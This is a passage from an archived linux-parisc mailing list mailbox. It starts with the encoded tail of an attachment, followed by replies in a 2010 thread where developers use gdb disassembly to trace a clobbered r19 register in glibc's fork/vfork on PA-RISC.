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
RmO9mKbR2H0aJ1O2dTLlmwdkAepba5+4jtZaY0dsqxFByXuHOwKknGrc0ZzsdLEDa9MOulI7Wgyq
pidSjSYpP9CBdWxXIg810bqnK4eWmF4D1d8FXqtCtDWy1YgyaOu7ZlcUKkq0NZpMuiI4tbCvVLQ1
ZvAZ9Qk3G7QyFbIvd7ago/W6RWMGQatcSzjm1E7EUtUDUrM7mpB1OBZNZtyRfKrovVIQN2bGNaod
dSV8oXp7L7N8uVRXOo/HYGRzqU4aK4U1g695Zto7wNYyCdLgAHADGYMbHPsMXz9M99LRmOop6O1z
Y+gJwvdS+7vxDLN99jAOBjw8SntSheTe9lwnepKn8aNxymgUn+BDo0XZhBJF5ogfThJadUK+G91E
lT0gkeIz4a4kkn0DuPjoik9p+pOEKepORhqbHjRZmm6sbbB6CH103KONHpuZGZKCwaASbra9gK6f
4UJYEvHLkRPjU/NHbPETpIclRcfPT43rQcmhYVOZTjvBjnRXF56USsd296R6pVkXeNUOuVXv2t8U
79r/l3xrY6yyb+0R4MM1kWOsom8trtPQWs0xn3povrW4vkJrLA2som9t4Dj8HJf1reBbi+s6tLZz
Ad9aXAeitaBuVtG3NvBz4Ps5u6BvbQ3Iju5/8OHTfGtpPQ3XtC7gW7soC3zo57zSh0/zrV00Bnxw
074cY2V9a3H/y94Dc6en+dYGbwQ+9Ie7gG/tSrWXdwHf2pUfBpZyPq6ab+3KU8BySqPpfJpvLa6D
BdVeYAXfWlwHXDxRJl/Ntxb3mBbjjnrGxefyrcU9uMVwX8i3dtXzwAf3xfjWEt9F+NaSP9xF+NbW
YX+xvOm5fWvrZthF+dbW3cHEs+/mc/nW1n3bp3z44/KtXYI6Le7D5/KtXYJ6aJvGV8a3dgnWwy0/
H9/aJZ9lF+Vbu+Sv4fFp9PK5fWuvgHa8GN/adaBfFuxnwre2g5X1rd0MfSXwgE963uvf7lurfGOl
by3paM23NqDo0rc2oHxZpW8t6VbNt5Z0qOZbS7pS862tUflL31rSfZpvLek4zbeWdJnmW0s6S/Ot
DSpfXelbS+vfmm/tSuUrK31rUa/ovrViHd3xraX9As23dpXy5ZW+tWLv3fGtxef7N9m3Vsib2b61
i27U4DUAa76g6Fsr5Ov41gr5Or61Qr6Oby3ud+m+tSQvzbd21YvM8K3F/TDdtxb3w3TfWtwP031r
V96llecp6A+/L2HpW2uU5yVQkVhezbeWfBs139qaXbK+0rd2kRoH/HxrW1y+rW0u39duF/162q9x
fF9vlHs3yvd1SslX+ra+Q25xKN/X2130k6r/St/Xz6j+awnf1/tN3xJ+Wvr3KF/Xx01fE35G1c+i
v/wl9XwK31b+iul7EkD7ZT9zfFkvV/lLX9YNCpa+q1cDPEOw8FWFacxK5buKvqop05clMKCeL+mb
OgTyeJbZvqniPQBZPhTKJ4H/FY3/Xlf8zxm+MCzwBbmvWPVFffW+qHKL6t/P2fS1u5ZWciSt5Diq
OYxerFPoq3QB/bU4fzLd/3Om1Ci8ivMXjvXqLlwJa4nFyvh/hqKRcFT6f4Yj8eYoC4Vj0Wi86v/5
67ho4cVab9U1QV88OGXFKFw8MoM7pdI/mlClozNFhdi2C7ssfaMaSBJ5DbHhucEUwHfG6dhr0j07
W2LbEJPfhl8/K+Sy2/BzuvsKXbmdUWInEEIQtra/wcoPHS5as8XS/OyUNTNNK1JN1hu211lzpZus
zbMz26zGSEgsam2em9lqra+jaF3FktUSs4aPQo+2oHSlsSLEGBo5tM2awxTnICI8q1Y2nYDUhS6w
052EhKPbIP4WTFJmhTEaDcxseAegohGBs0u7fRYeounZopG2NTQ7PQ/5zR2dQ4UmshqZnjkqk9k8
G2kWSWSmh0ahuLNF+DFLNnlgpDRhbR6ZjcQpQouSEUUZGRoZK45aqDOmSpB3UkSaGL3JagyHYlBy
iLF1G2SnovUWDw6VitZ4CWQyPzIGmQ6VSFAjY+MTkPn81Jx103hprM6Ca8iaQvbxw1ivJMluatpS
rQ+M2D3mp0rjE8SOyQh3fSnV+WFafoTs9SLkSVDjJWsYmkZv1/A2rdCqURMgOUuoJmIdnihaoSPh
ELV/ZBuuaWKFx60tIetqCxQJVjcSskTs9AEo1ficBf+dSr5lfnLGKk1LgQstK9pmcmZ4285tU7LU
xVJoW1PG4Fov0+3XEhXSF6X7VbblRTeltUX0vnF0kihtrSh7fA4uLHqsJcq0MRba0YLxKfKA8o3A
YQqacKe1d2gOn9OQNVws3VQsTkFRqZdQPNXfJ0cmZre96U07LVEWlCqUDFoSBN2UKc7OTs/W1Zly
vka1PknG1ASUgXrc6PHWOn2reFhRvDOQw2GUAVRqhvoIPOONLQ5DFHOl7K/R5UkYKPaopxeLkkfr
rKbxSakhzRdGtmEsR42hPhoaHYWygjo6YBGv6sTeuFBKqrVUEJHmbaQmnGbT4otGA3WFlYNibSUu
oa6FtOawKUAHUm2UgKBBw5gqxKAIOWJ9zeJrokNB1luk9sHuwSB+h9ceKKymRnsQAWHfVBw6ZKkx
RfzuVLx1/95D4f+Xl/n+j3Jw+9VeF7D/QuGWsLT/QqF4NITv/zRHIlX779dx1W0UX7G2Xu0mYl0d
6GILO41FX9jeWnczmACeVN4ISKm9G8NvrHt79SmvXtWrelWv6lW9qlf1ql7Vq3pVr+pVvapX9ape
1at6Va/qVb2qV/WqXtWrelWv6lW9qlf1ql7V61d3/R/ZGgJMABgBAA==
--0016e6d7ea6e83075e0482e0d4bc--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 15:07:00 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <20100328190701.20C0C516B@hiauly1.hia.nrc.ca>
References: <20100328180038.GA3732@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269803231 21257 80.91.229.12 (28 Mar 2010 19:07:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 19:07:11 +0000 (UTC)
Cc: carlos@systemhalted.org, deller@gmx.de, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: dave.anglin@nrc-cnrc.gc.ca
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 21:07:06 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvxpB-00067p-Cm
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 21:07:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755041Ab0C1THE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 15:07:04 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2308 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755024Ab0C1THE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 15:07:04 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 20C0C516B; Sun, 28 Mar 2010 15:07:00 -0400 (EDT)
In-Reply-To: <20100328180038.GA3732@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 28, 2010 02:00:38 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2720
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2720>

> > A small note about getpid():
> > 
> > Since the parent and child share the same memory space, the parent
> > temporarily negates the cached PID value just before the vfork. Only
> > the parent, after the vfork, restores the cached PID. This is on
> > purpose to prevent any functions like PID-related functions from
> > working in the child() during the window bewteen vfork and execve.
> 
> Ok, it might be glibc that's broken (i.e., it doesn't restore correct
> dave).

The bad value is stored here:

0x0003f578 <fork+700>:	ldil L%7b800,r26
0x0003f57c <fork+704>:	b,l 0x35d74 <_IO_list_unlock>,rp
0x0003f580 <fork+708>:	stw r19,-414(r6)
(gdb) p/x $r19
$2 = 0x10101364

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 15:31:46 -0400 (EDT)
Lines: 38
Approved: news@gmane.org
Message-ID: <20100328193147.015054E77@hiauly1.hia.nrc.ca>
References: <20100328190701.20C0C516B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1269804720 26223 80.91.229.12 (28 Mar 2010 19:32:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 19:32:00 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, carlos@systemhalted.org, deller@gmx.de,
	kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 21:31:55 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvyD8-0003Ud-47
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 21:31:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755053Ab0C1Tbt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 15:31:49 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2314 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755050Ab0C1Tbs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 15:31:48 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 015054E77; Sun, 28 Mar 2010 15:31:46 -0400 (EDT)
In-Reply-To: <20100328190701.20C0C516B@hiauly1.hia.nrc.ca> from "John David Anglin" at Mar 28, 2010 03:07:00 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2721
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2721>

> The bad value is stored here:
> 
> 0x0003f578 <fork+700>:	ldil L%7b800,r26
> 0x0003f57c <fork+704>:	b,l 0x35d74 <_IO_list_unlock>,rp
> 0x0003f580 <fork+708>:	stw r19,-414(r6)
> (gdb) p/x $r19
> $2 = 0x10101364

%r19 is clobbered by the clone syscall:

(gdb) disass 0x0003f44c 0x0003f458
Dump of assembler code from 0x3f44c to 0x3f458:
0x0003f44c <fork+400>:	be,l 100(sr2,r0),sr0,r31
0x0003f450 <fork+404>:	ldi 78,r20
0x0003f454 <fork+408>:	nop

Breakpoint 5, 0x0003f44c in fork ()
(gdb) p/x $r19
$6 = 0x0

Breakpoint 4, 0x0003f454 in fork ()
(gdb) p/x $r19
$7 = 0x10101364

Same value for %r19 is returned for both parent and child.

This is using application linked with -static (i.e., libc.a).  Probably,
shared lib is different.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question about execve.
Date: Sun, 28 Mar 2010 15:40:50 -0400
Lines: 101
Approved: news@gmane.org
Message-ID: <119aab441003281240m6be2cedeh3b8ce77d39d095be@mail.gmail.com>
References: <20100328190701.20C0C516B@hiauly1.hia.nrc.ca>
	 <20100328193147.015054E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1269805261 27843 80.91.229.12 (28 Mar 2010 19:41:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 28 Mar 2010 19:41:01 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, deller@gmx.de, kyle@mcmartin.ca,
	linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 21:40:56 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvyLt-0006y4-7N
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 21:40:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755082Ab0C1Tkw convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 15:40:52 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:60485 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755063Ab0C1Tkw convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 15:40:52 -0400
Original-Received: by wwe15 with SMTP id 15so7823545wwe.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 12:40:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type:content-transfer-encoding;
        bh=lw6T4oJ4uOIvzrepJs7dwCg5qPYA2lwN8Jd+Bt/ftb0=;
        b=RN0KDUbLjFrIdtnug//e9hbhz0LpuXWrbyqEJLU/hi2ir7zQv7pw9Z4qC7YPz3nt87
         AR7s8fFaL+pG71R7uHrPh4d2wFdXQL55xw2iUMmpSdDsu29pWP04pEJeU6HELNmVbW4S
         S8WX9MEAbYKU1b9+MA+0kGDE2x0i3PhJj63UU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=aGLqYHqmbZPe39IlqLHyyPO4I2xQiwO1lyaRurVhx7xyirQQ1MmHXHsrCvd4kxzKWD
         /7KCiwoWvR2l3O7cm0spHfmqPl89wusJ3UA/rBXgMvWoT9HJiCr86H+B+rTkR3UhUu8f
         1SqRsj9WLSiZPx6V9WhG7bKVamgFkJ2541kSA=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 12:40:50 -0700 (PDT)
In-Reply-To: <20100328193147.015054E77@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: fef7218cd38ae274
Original-Received: by 10.216.87.146 with SMTP id y18mr2320318wee.127.1269805250581; 
	Sun, 28 Mar 2010 12:40:50 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2722
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2722>

On Sun, Mar 28, 2010 at 3:31 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> The bad value is stored here:
>>
>> 0x0003f578 <fork+700>: =A0 =A0 =A0 =A0ldil L%7b800,r26
>> 0x0003f57c <fork+704>: =A0 =A0 =A0 =A0b,l 0x35d74 <_IO_list_unlock>,=
rp
>> 0x0003f580 <fork+708>: =A0 =A0 =A0 =A0stw r19,-414(r6)
>> (gdb) p/x $r19
>> $2 =3D 0x10101364
>
> %r19 is clobbered by the clone syscall:

This is a known issue with the kernel assembly, fork, vfork, and clone
all clobber r19, which is why glibc saves/restore r19 across
syscalls... but only in the PIC case.

ARCH_FORK ->
  INLINE_SYSCALL (clone, 5,                                            =
 \
